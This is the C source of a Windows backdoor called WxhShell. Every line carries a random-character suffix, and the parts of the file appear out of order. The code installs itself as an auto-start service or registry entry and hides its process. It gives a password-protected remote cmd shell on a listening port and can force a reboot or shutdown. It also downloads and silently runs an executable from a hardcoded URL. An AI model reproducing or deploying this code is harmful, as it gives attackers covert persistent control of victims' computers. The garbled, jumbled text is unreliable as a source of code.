    if(Boot(SHUTDOWN)) ,2hZtJ<A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mNUc g{ +/  
    else { (5AgI7I,  
    closesocket(wsh); aI @&x  
    ExitThread(0); TXx%\V_6  
    } B]jI^( P  
    break; >:7W.QLRU  
    } _h;#\ )%~  
  // 获取shell j n[%@zD}  
  case 's': { O{WJi;l  
    CmdShell(wsh); tu(k"'aJ  
    closesocket(wsh); 4'L%Wz[6  
    ExitThread(0);  J`F][ A  
    break; :i'jQ<|wZN  
  } ~]t/|xep  
  // 退出 ODE9@]a  
  case 'x': { eLC}h %  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NY]`1yy  
    CloseIt(wsh); Zr!he$8(2  
    break; (W.euQy  
    } erG@8CG  
  // 离开 dno=C  
  case 'q': { mMLxT3Ci8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ga o(3Y  
    closesocket(wsh); /y2upu*!  
    WSACleanup(); sA6Ku(9  
    exit(1); \g|u|Y.2[  
    break; ;-Bi~XD  
        } 9D 2B8t"a  
  } %\xwu(|kN  
  } !L5[s  
("HT0 &#a  
  // 提示信息 Id->F0x0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5$SO  
} iM'{,~8R5  
  } jU K0?S>  
3PS( 1  
  return; $O|J8;"v  
} Rx e sK  
6.fahg?E  
// shell模块句柄 +{* @36A5A  
int CmdShell(SOCKET sock) Q=hf,/N  
{ xv! QO  
STARTUPINFO si; 3W*O%9t7  
ZeroMemory(&si,sizeof(si)); # f~,8<K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G(piq4D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (bP\_F5D  
PROCESS_INFORMATION ProcessInfo; e%#8]$  
char cmdline[]="cmd"; Q<]~>cd^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DkO>?n:-C  
  return 0; <&&xt ?I.  
} nr/^HjMV  
(C;oot,  
// 自身启动模式 FBfyW- 7  
int StartFromService(void) (+g!~MP  
{ +*OY%;dQ7@  
typedef struct 4qw&G  
{ z1oikg:?4  
  DWORD ExitStatus; i2<dn)K[~-  
  DWORD PebBaseAddress; z` b. ~<P  
  DWORD AffinityMask; ]sz3:p=5  
  DWORD BasePriority; Vab+58s5  
  ULONG UniqueProcessId; <fY<.X  
  ULONG InheritedFromUniqueProcessId; UH8)r  
}   PROCESS_BASIC_INFORMATION; E|f&SEnzK  
a8fLj  
PROCNTQSIP NtQueryInformationProcess; 1zE_ SNx  
8.vPh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GvQ|+vC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,"/<N*vh  
oL'  :07_  
  HANDLE             hProcess; z_XI,u}  
  PROCESS_BASIC_INFORMATION pbi; ~5aq.hF1,A  
,nO:Pxn|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =Ewa}$-  
  if(NULL == hInst ) return 0; l\8 l.xP  
ldJ eja~Xl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r1cB<-bJ#'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HaeF`gI^Ee  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eW*nRha  
=dbLA ,z9  
  if (!NtQueryInformationProcess) return 0; 9\W~5J<7  
r\+AeCyb"p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "HR &Rf k  
  if(!hProcess) return 0; 8;3T65KY  
7M: 0%n$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \$J!B&i  
VHsNz WI  
  CloseHandle(hProcess); %^RlE@l9  
r]1|I6:&)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g<~[k?~J  
if(hProcess==NULL) return 0; hB:R8Y^?H  
Fs:l"5~>1  
HMODULE hMod; Jrlc%,pZ  
char procName[255]; BY: cSqAW  
unsigned long cbNeeded; whP>'9t.w  
(E)/' sEb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xmy(pV!PF  
]4@z.1Mr  
  CloseHandle(hProcess); Dbr(Wg  
st36xS  
if(strstr(procName,"services")) return 1; // 以服务启动 /IVw}:G  
fw^mjD  
  return 0; // 注册表启动 *>.~f<V  
} #m9V) 1"wB  
#'z\[^vp  
// 主模块 WPyd ^Y<  
int StartWxhshell(LPSTR lpCmdLine) ee&QZVL>  
{ KM (U-<<R  
  SOCKET wsl; 5}e-~-  
BOOL val=TRUE; lqPRUkin  
  int port=0; 9&}qie,  
  struct sockaddr_in door; 2q# t/oN3T  
Q>}I@eyJ  
  if(wscfg.ws_autoins) Install(); ~I/7{B|yX  
B dm<<<  
port=atoi(lpCmdLine); n[WXIE<  
J.":oD  
if(port<=0) port=wscfg.ws_port;  6" 3!9JC  
^~MHxF5d  
  WSADATA data; (FMGW (  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3uRnbO-  
> ^3xBI:Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cZL"e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ik~hL/JD\  
  door.sin_family = AF_INET; B7t#H?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %{/0K<M  
  door.sin_port = htons(port); ' 7>}I{Lq  
=]7|*-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Fg4eIE-/M  
closesocket(wsl); wr*A%:  
return 1; /H^bDUC :r  
} Q}]:lmqH  
3v:RLnB  
  if(listen(wsl,2) == INVALID_SOCKET) { ]-{T-*h:  
closesocket(wsl); -$WiB  
return 1; txr!3-Ne'!  
} \@OKB<ra  
  Wxhshell(wsl); zy@ #R;  
  WSACleanup(); & A9psc(,&  
_F^|n}Qbj  
return 0; 6@o_MtI  
Jb$PlOQ  
} OAw/  
Q*$x!q  
// 以NT服务方式启动 TQ@*eoJj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lKIHBi  
{ 9 J5Z'd_  
DWORD   status = 0; f{ S)wE>;  
  DWORD   specificError = 0xfffffff; 1t!Mg{&e[x  
0; V{yh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BY,%+>bc)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1[3"|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vR1%&(f{  
  serviceStatus.dwWin32ExitCode     = 0; zZ-e2)1v  
  serviceStatus.dwServiceSpecificExitCode = 0; 9FV#@uA}D  
  serviceStatus.dwCheckPoint       = 0; #D//oL"u]  
  serviceStatus.dwWaitHint       = 0; dJNYuTZ'  
o?{VGJH<v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >&?wo{b  
  if (hServiceStatusHandle==0) return; [4xN:i  
WKxJ`r\  
status = GetLastError(); QS=n 50T,  
  if (status!=NO_ERROR) s3kh (N  
{ 0?,EteR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .M:,pw"S]  
    serviceStatus.dwCheckPoint       = 0; *o"F.H{#N  
    serviceStatus.dwWaitHint       = 0; L1)?5D  
    serviceStatus.dwWin32ExitCode     = status; m}Tu^dy  
    serviceStatus.dwServiceSpecificExitCode = specificError; D>*%zz|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E pM 4 +  
    return; , {z$M  
  } >wcsJ {I  
k~=-o>}C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |BYD]vK  
  serviceStatus.dwCheckPoint       = 0; E?Q=#+}U  
  serviceStatus.dwWaitHint       = 0; X[;4.imE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2b|vb}|t{  
} wZrdr4j  
Bfw>2  
// 处理NT服务事件,比如:启动、停止 P!bm$h*3?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }aX).u  
{ yJb;V#  
switch(fdwControl) j?z(fs-  
{ Y,E:?  
case SERVICE_CONTROL_STOP: AS;{O>}54  
  serviceStatus.dwWin32ExitCode = 0; `m'2RNSc+#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?Cu#(  
  serviceStatus.dwCheckPoint   = 0; TqbKH08i/  
  serviceStatus.dwWaitHint     = 0; SKRD{MRsux  
  { d G:=tf&1R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >b*Pd *f  
  } |Ca$>]?  
  return; {8I93]  
case SERVICE_CONTROL_PAUSE: 2?-}(F;Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8CEy#%7]}  
  break; A ;kAAM  
case SERVICE_CONTROL_CONTINUE: )_bXKYUX*0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >!WJ{M0  
  break; uF(- h~  
case SERVICE_CONTROL_INTERROGATE: pM VeUK?  
  break; ;yk@`<  
}; $g|g}>Sc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QT%&vq  
} &]z2=\^e  
|u;5|i  
// 标准应用程序主函数 V<nzThM\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zqam Iq  
{ R!$j_H  
_TX.}167;-  
// 获取操作系统版本 |y'q`cY  
OsIsNt=GetOsVer(); K{|;'N-1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #lVVSrF,-  
OH=Ffy F,  
  // 从命令行安装 PwDQ<   
  if(strpbrk(lpCmdLine,"iI")) Install(); ?on3z  
b$gDFNa  
  // 下载执行文件 S%%>&^5  
if(wscfg.ws_downexe) { CB|z{(&N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FP9ZOoog  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]i$CE|~  
} J::SFu=  
q(uu;l[  
if(!OsIsNt) { QT-rb~  
// 如果时win9x,隐藏进程并且设置为注册表启动 N+}yw4lb  
HideProc(); 3rR(>}:[V  
StartWxhshell(lpCmdLine); 2,_BO6 !d  
} n!tCz<v  
else {h@R\bU  
  if(StartFromService()) Q6vkqu5!=  
  // 以服务方式启动 5Vvy:<.la  
  StartServiceCtrlDispatcher(DispatchTable); ,:z@Ji  
else u-k*[!JU  
  // 普通方式启动 g" M1HxlV  
  StartWxhshell(lpCmdLine);  &$+yXN  
1y?TyUP  
return 0; @8_K^3-~e  
} pCg0xbc`  
zSq+#O1#  
9'4cqR  
~sA}.7  
=========================================== R(q fP  
Y@.:U*  
C(gH}N4  
wL%>  
zizrc.g/Yg  
0q62{p7  
" +5T0]!  
E26ZVFg  
#include <stdio.h> 1[}VyP6 e  
#include <string.h> @7BH`b$)!  
#include <windows.h> ~^3B(feQ]  
#include <winsock2.h> s'K0C8'U  
#include <winsvc.h> +"d{P,[3J  
#include <urlmon.h> I.( 9{  
"+HZ~:~f  
#pragma comment (lib, "Ws2_32.lib") 4z$ eT  
#pragma comment (lib, "urlmon.lib") b9\=NdyCY  
lR-4"/1|y  
#define MAX_USER   100 // 最大客户端连接数 8`*`4m  
#define BUF_SOCK   200 // sock buffer r<b g->lX  
#define KEY_BUFF   255 // 输入 buffer i@g6%V=  
lFRgyEPH  
#define REBOOT     0   // 重启 w\\    
#define SHUTDOWN   1   // 关机 8taaBM`:  
OY@/18D<>  
#define DEF_PORT   5000 // 监听端口 *.~M#M 9c  
,D#~%kq~  
#define REG_LEN     16   // 注册表键长度 p_mP'  
#define SVC_LEN     80   // NT服务名长度 `|]juc  
M\T6cN@m  
// 从dll定义API W;hI[9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r?[Zf2&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wRWN]Vo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~>qcV=F^d,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =MoPOib\n  
8# 9.a]AX  
// wxhshell配置信息 t4 aa5@r  
struct WSCFG { L%=u&9DmU  
  int ws_port;         // 监听端口 ;H}? 8L  
  char ws_passstr[REG_LEN]; // 口令 _\u'~wWl  
  int ws_autoins;       // 安装标记, 1=yes 0=no :@n e29,}  
  char ws_regname[REG_LEN]; // 注册表键名 /)v X|qtIY  
  char ws_svcname[REG_LEN]; // 服务名 \bfNki  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XV!P8n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :]?I|.a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )C <sj   
int ws_downexe;       // 下载执行标记, 1=yes 0=no <.:B .k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^#_@Kq%th  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zR]l2zL3  
38JvJR yK}  
}; jagsV'o2  
V}Oxz04  
// default Wxhshell configuration /J5wwQ (:  
struct WSCFG wscfg={DEF_PORT, LnM+,cBz  
    "xuhuanlingzhe", E*k=8$Y  
    1, G0<m3 Up  
    "Wxhshell", E?%rmdyhL!  
    "Wxhshell", mGoUF$9 k  
            "WxhShell Service", UF0PWpuO  
    "Wrsky Windows CmdShell Service", rw58bkh6  
    "Please Input Your Password: ", QCMt4`% 'u  
  1, Q?Q!D+~mND  
  "http://www.wrsky.com/wxhshell.exe", ^gD&NbP8  
  "Wxhshell.exe" wl}Q|4rZ  
    }; esFBWJ  
?|{P]i?)'  
// 消息定义模块 6J-tcL*4"%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .p <!2   
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3rOv j&2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f`vB$r>  
char *msg_ws_ext="\n\rExit."; ])vM# f  
char *msg_ws_end="\n\rQuit."; z,$^|'pP  
char *msg_ws_boot="\n\rReboot..."; ofRe4 *\j  
char *msg_ws_poff="\n\rShutdown..."; rr9N(AoxW  
char *msg_ws_down="\n\rSave to "; l2z@t3{  
 O &;Cca  
char *msg_ws_err="\n\rErr!"; 05$CIS>!  
char *msg_ws_ok="\n\rOK!"; 51l:  
E%2]c?N5  
char ExeFile[MAX_PATH]; qgDd^0  
int nUser = 0; wNq#vn  
HANDLE handles[MAX_USER]; g2BE-0,R  
int OsIsNt; RQ!kVM@  
=J<3B H^m  
SERVICE_STATUS       serviceStatus; c7,p5[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qne@Vf kA  
9x23## s  
// 函数声明 xrf z-"n4  
int Install(void); S sGb;  
int Uninstall(void); _-$(=`8|<{  
int DownloadFile(char *sURL, SOCKET wsh); iTwb#Q=  
int Boot(int flag); _?CyKk\I  
void HideProc(void); >-0Rq[)  
int GetOsVer(void); ;y/&p d+  
int Wxhshell(SOCKET wsl); cY0NQKUk~  
void TalkWithClient(void *cs); VMXccT9i!  
int CmdShell(SOCKET sock); b<n*wH  
int StartFromService(void); jH({Qc,97  
int StartWxhshell(LPSTR lpCmdLine); fX2sjfk  
#Ipi3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @j=:V!g2O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pE,2pT2>  
E{k$4  
// 数据结构和表定义 +0_e a~{  
SERVICE_TABLE_ENTRY DispatchTable[] = oIrO%v:'!  
{ lK 5@qG#  
{wscfg.ws_svcname, NTServiceMain}, Qzt'ZK  
{NULL, NULL} ~}pc&jz>q  
}; _Dr9 w&;<  
8BE] A_X  
// 自我安装 %|AebxB'o  
int Install(void) jmPnUn  
{ |Bz1u|uc  
  char svExeFile[MAX_PATH]; [;t-XC?[nk  
  HKEY key; J2adG+=  
  strcpy(svExeFile,ExeFile); \| &KD  
N?`V;`[  
// 如果是win9x系统,修改注册表设为自启动 >J*x` a3Q  
if(!OsIsNt) { ct`j7[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rP|~d}+I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #9zpJ\E  
  RegCloseKey(key); y)vK=,"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /#jH #f[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6I2` oag  
  RegCloseKey(key); eu={6/O  
  return 0; 4PjC[A*  
    } : e1kpQ  
  } ' Dp;fEU$  
} /9ctmW1!<  
else { d^MRu#]  
+`,;tz=?  
// 如果是NT以上系统,安装为系统服务 ~-R%m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]-8WM5\qJM  
if (schSCManager!=0) P q0 %oz  
{ h4Wt oE>i  
  SC_HANDLE schService = CreateService 0vX4v)-^u  
  ( v%:VV*MxF  
  schSCManager, 0FSNIPx  
  wscfg.ws_svcname, qG@YNc  
  wscfg.ws_svcdisp, "!+gA&  
  SERVICE_ALL_ACCESS, 3xg9D.A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J 2<kOXXJ9  
  SERVICE_AUTO_START, /sfJ:KP0  
  SERVICE_ERROR_NORMAL, pHT]2e#  
  svExeFile, mG"xo^1_H  
  NULL, jc!m; U t  
  NULL, 28k=@k^q  
  NULL, #u}%r{T  
  NULL, m9vX8;.  
  NULL Q$uv \h;  
  ); j$K*R."  
  if (schService!=0) gg >QXui  
  { (+c1.h  
  CloseServiceHandle(schService); ,AmwsXN"F  
  CloseServiceHandle(schSCManager); >`r3@|UY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  0:f]&Ng  
  strcat(svExeFile,wscfg.ws_svcname); Xu8I8nAwl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6<2H 7'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9w$m\nV  
  RegCloseKey(key); =:aJZ[UU<2  
  return 0; _0(%^5Y  
    } 1W\E`)Z}]  
  } m>%b4M  
  CloseServiceHandle(schSCManager); !$A/.;0$  
} 4qdoF_  
} XEQTTD<  
;-6-DEL  
return 1; |GtvgvO,  
} y{S8?$dU$:  
d2V X\  
// 自我卸载  V\o7KF  
int Uninstall(void) V:$+$"|  
{ RN[I%^$"  
  HKEY key; SRwD`FF  
#8|LPfA  
if(!OsIsNt) { i|J%jA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <XIIT-b[  
  RegDeleteValue(key,wscfg.ws_regname); /M_$4O;*@  
  RegCloseKey(key); $c9-Q+pZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XEgJ7h_  
  RegDeleteValue(key,wscfg.ws_regname); VGmvfhf#"  
  RegCloseKey(key); 6|zhqb|s  
  return 0; 5BJ E  
  } G@.MP| 2  
} x2rAB5r6  
} < cvh1~>(  
else { 0V4B Q:v  
n:,mo}?X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e"ehH#i  
if (schSCManager!=0) =5q<_as  
{ d=/0A\O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J0?kEr  
  if (schService!=0) |M7cB$y  
  { qx t0Jr8  
  if(DeleteService(schService)!=0) { >> zd  
  CloseServiceHandle(schService); z5kAf~A  
  CloseServiceHandle(schSCManager); $iu[-my_  
  return 0; .!x&d4;,q  
  } fbNzRXw  
  CloseServiceHandle(schService); !R=@Nr>  
  } M2O_kO eZ  
  CloseServiceHandle(schSCManager); q.c)>=!.  
}  Y !?'[t  
} _!nsEG VV  
TaN{xpo  
return 1; rZ~w_DK*  
} 5&ku]l+  
K]hp-QK<  
// 从指定url下载文件 $"r9U|6kk  
int DownloadFile(char *sURL, SOCKET wsh) c-sjYJXKM*  
{ ,~1"50 Hp@  
  HRESULT hr; d9K8[Q5^3  
char seps[]= "/"; qhEv6Yxfw6  
char *token; FQ]/c#J  
char *file; zaqX};b  
char myURL[MAX_PATH]; xG9Sk  
char myFILE[MAX_PATH]; 6qWUo3  
zxbf h/=  
strcpy(myURL,sURL); [={mCGU  
  token=strtok(myURL,seps); FTf#"'O  
  while(token!=NULL) v $Iw?y  
  { ''y.4dvX  
    file=token; u^1#9bAW8  
  token=strtok(NULL,seps); KJA :;   
  } v1 .3gzR  
CkT(\6B-  
GetCurrentDirectory(MAX_PATH,myFILE); DxJ;C09xNa  
strcat(myFILE, "\\"); ]:P7}Kpb  
strcat(myFILE, file); nlwqSXw  
  send(wsh,myFILE,strlen(myFILE),0); Bqq=2lj  
send(wsh,"...",3,0); an"&'D}U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *MP.YI:h  
  if(hr==S_OK) : ?>7Z6  
return 0; CD$#}Id  
else 'X^auyL  
return 1; #Wk=y?sn  
e-nA>v  
} -8Jw_  
qt@L&v}~j  
// 系统电源模块 JvpGxj  
int Boot(int flag) ]~({;;3o-  
{ /Mqhx_)>A  
  HANDLE hToken; `(e :H  
  TOKEN_PRIVILEGES tkp; /yOx=V  
/wV|;D^ )  
  if(OsIsNt) { 3Q=^&o0fl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Gv:~P_vBH[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t|aV:x  
    tkp.PrivilegeCount = 1; Nep4 J;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &X=7b@r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CXa[%{[n  
if(flag==REBOOT) { eb62(:=N6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?=VvFfv%  
  return 0; (_T{Z>C/J  
} 6 ':iW~iI  
else { WYP;s7_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;<[X\;|'  
  return 0; +y GQt3U  
} ,T$ts  
  } qJhsMo2IH  
  else { 1Kg0y71"  
if(flag==REBOOT) { f7Gn$E|/r;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d1b] +AG4  
  return 0; ;cor\ R  
} dzf2`@8#  
else { eqbN_$>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #9vC]Gm  
  return 0; Shm> r@C?  
} / ^.|m3  
} KZm&sk=QM-  
_yg_?GH  
return 1; ^L[:DB{Z  
} 2jsbg{QS#_  
*FlPGBjJ  
// win9x进程隐藏模块 "6B7EH  
void HideProc(void) fz&B$1;8  
{ OQVrg2A%(  
}9~^}99}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7=!9kk0  
  if ( hKernel != NULL ) wPA^nZ^}9c  
  { __=H"UhWv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 79\ wjR!T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _P>YG<*"kQ  
    FreeLibrary(hKernel); #[93$)Gd!  
  } IGlR,tw_/  
k]b*&.EY1  
return; TdtV (  
} swKkY`g  
+v Bi7#&  
// 获取操作系统版本 Y G+|r  
int GetOsVer(void) Q;M\fBQO}&  
{ D /eH~  
  OSVERSIONINFO winfo; $|K d<wv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >Vuvbo   
  GetVersionEx(&winfo); x#rgFY,TY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dP5x]'"x  
  return 1;  @/2Kfr  
  else 9t`;~)o  
  return 0; $TQhr#C]  
} &!!*xv-z  
5>k:PKHL  
// 客户端句柄模块 @u~S!(7.Wi  
int Wxhshell(SOCKET wsl) baxZ>KNi  
{ )*')  
  SOCKET wsh; I>c,Bo7  
  struct sockaddr_in client; k+<9 45kC  
  DWORD myID; m'4f'tbN  
rzjVUPdnh  
  while(nUser<MAX_USER) c_lHj#A(l  
{ )>volP  
  int nSize=sizeof(client); lj4Fg*/Yn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zt=|q$"  
  if(wsh==INVALID_SOCKET) return 1; Q&9 yrx.  
P7x;G5'.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3h:j.8Z  
if(handles[nUser]==0) =ily=j"hK  
  closesocket(wsh); 20:F$d  
else Lvk}%,S8t  
  nUser++; *$f=`sj  
  } Q7%4`_$!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b 2gng}  
h Yu6PWK  
  return 0; Z;0~f<e%  
} X{9^$/XsJ  
q z)2a2C  
// 关闭 socket a#oROb-*~  
void CloseIt(SOCKET wsh)  Fr%#  
{ ! 'zd(kv<  
closesocket(wsh); T$Z9F^w  
nUser--; TpjiKM  
ExitThread(0); m]p{]6h  
} Q*ITs!~Z  
bIQ,=EA1  
// 客户端请求句柄 GES}o9?#  
void TalkWithClient(void *cs)  rxY|&!f  
{ _Q V=3UWP  
Di9RRHn&q  
  SOCKET wsh=(SOCKET)cs; U82a]i0  
  char pwd[SVC_LEN]; @s5=6z]=H  
  char cmd[KEY_BUFF]; eP{srP3 9  
char chr[1]; J-W9Bamx  
int i,j; ^-o{3Q(w  
/:dLqyQ_V  
  while (nUser < MAX_USER) { }nmlN  
2YD\KXDo  
if(wscfg.ws_passstr) { i FI74COam  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #]#9Xq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x*7@b8J  
  //ZeroMemory(pwd,KEY_BUFF); Q>niJ'7WF  
      i=0; X/_I2X  
  while(i<SVC_LEN) { AtT7~cVe  
JsEJ6!1  
  // 设置超时 Qg>NJ\*Q  
  fd_set FdRead; rd <m:r  
  struct timeval TimeOut; w5FIHYl6B  
  FD_ZERO(&FdRead); I-#H+\S  
  FD_SET(wsh,&FdRead); F(")ga$r  
  TimeOut.tv_sec=8; hlVye&;b8  
  TimeOut.tv_usec=0; st'T._  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U(&c@u%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %nA})nA7=  
?K1B^M=8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cNll??j  
  pwd=chr[0]; `oRyw6Sko  
  if(chr[0]==0xd || chr[0]==0xa) { 3?OQ-7,  
  pwd=0; sXLW';Fz  
  break; >.:+|Br`  
  } n@p]v*  
  i++; =SDex.ZK]  
    } 7h' C"rH  
^2+Ex+  
  // 如果是非法用户,关闭 socket UQVL)-Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :e1h!G  
} pEyZH!W  
I&PJ[U#~a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )f8>kz(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _,3ljf?WQM  
bG;fwgAr  
while(1) { -t-f&`S||  
62xOh\(  
  ZeroMemory(cmd,KEY_BUFF); 5Cf!NNV  
GwWK'F'2  
      // 自动支持客户端 telnet标准   kc'$4 J4Tw  
  j=0; %VHy?!/  
  while(j<KEY_BUFF) { (leX` SN0u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @N'n>8Wn  
  cmd[j]=chr[0]; [9E~=A#  
  if(chr[0]==0xa || chr[0]==0xd) { z8=THz2f  
  cmd[j]=0; vu0Ql1  
  break; zLJ>)v$81  
  } iFIGJS  
  j++; w\C1Bh!  
    } pwSgFc$z  
iUkUo x  
  // 下载文件 5(;Y&?k  
  if(strstr(cmd,"http://")) { Ou[K7-m%&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p.8bX  
  if(DownloadFile(cmd,wsh)) 79DNNj~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ixTjXl2g  
  else "&(/bdah?&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H4M=&"ll}  
  } d<c29Y  
